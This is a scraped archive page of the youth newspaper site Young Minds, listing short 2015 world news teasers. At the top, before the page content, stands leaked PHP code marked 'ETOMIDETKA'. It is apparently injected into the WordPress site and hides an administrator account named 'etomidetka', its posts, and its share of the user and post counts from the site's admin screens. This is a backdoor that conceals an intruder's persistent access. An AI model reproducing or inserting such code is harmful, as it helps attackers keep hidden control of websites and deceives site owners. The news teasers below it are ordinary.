//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 53

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 53)
India, UK Announce Deals Worth 9 Billion Pounds

India, UK Announce Deals Worth 9 Billion Pounds

India and the UK have announced deals worth 9-billion pounds as they signed a civil nuclear pact and decided to collaborate in the field of defence and cyber …

November 13, 2015 | Main News | 0 Comments
Presidents of China, Taiwan to hold historic meeting

Presidents of China, Taiwan to hold historic meeting

Taiwan’s President Ma Ying-Jeou will meet his Chinese counterpart Xi Jinping in Singapore this weekend, the two sides said, in what will be the first …

November 4, 2015 | Main News | 0 Comments
‘External influence’ caused Sinai crash

‘External influence’ caused Sinai crash

The Russian airline Kogalymavia has blamed “external influence” for  Sinai plane crash which killed 224 people on 31st Oct. A senior airline …

November 2, 2015 | Main News | 0 Comments
Turkey returns to single-party rule

Turkey returns to single-party rule

Turkey’s long-dominant Justice and Development Party (AKP) has scored a stunning electoral comeback, regaining its parliamentary majority in a poll seen …

November 2, 2015 | Main News | 0 Comments
Probe says Russian plane ‘broke up in air’

Probe says Russian plane ‘broke up in air’

A Russian airliner that crashed in Egypt on 31st Oct.broke up “in the air”, as the bodies of many of the 224 people killed on board were flown …

November 2, 2015 | Main News | 0 Comments
Flipkart to invest over $2.5 billion on logistics

Flipkart to invest over $2.5 billion on logistics

Online marketplace Flipkart will invest a “couple of billion dollars” in the next few years on beefing up its logistics network as part of efforts …

November 2, 2015 | Main News | 0 Comments
China to end one-child policy

China to end one-child policy

China has decided to end its decades-long one-child policy. Couples will now be allowed to have two children. The controversial policy was introduced …

October 30, 2015 | Main News | 0 Comments
Nepal’s parliament elects first female president

Nepal’s parliament elects first female president

Nepal’s parliament has elected lawmaker Bidhya Bhandari as the country’s first female president on Oct. 28, after the adoption of a landmark …

October 29, 2015 | Main News | 0 Comments
Venus, Jupiter and Mars line up for skyline spectacle

Venus, Jupiter and Mars line up for skyline spectacle

Venus, Jupiter and Mars can be seen from the Earth’s skyline this week in a rare grouping of the three planets. The planetary conjunction – in …

October 27, 2015 | Main News | 0 Comments
Afghanistan-Pakistan earthquake leaves hundreds dead

Afghanistan-Pakistan earthquake leaves hundreds dead

More than 260 people have died, mostly in Pakistan, after a magnitude-7.5 earthquake hit north-eastern Afghanistan on 26th Oct.Tremors from the quake were also …

October 27, 2015 | Main News | 0 Comments
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds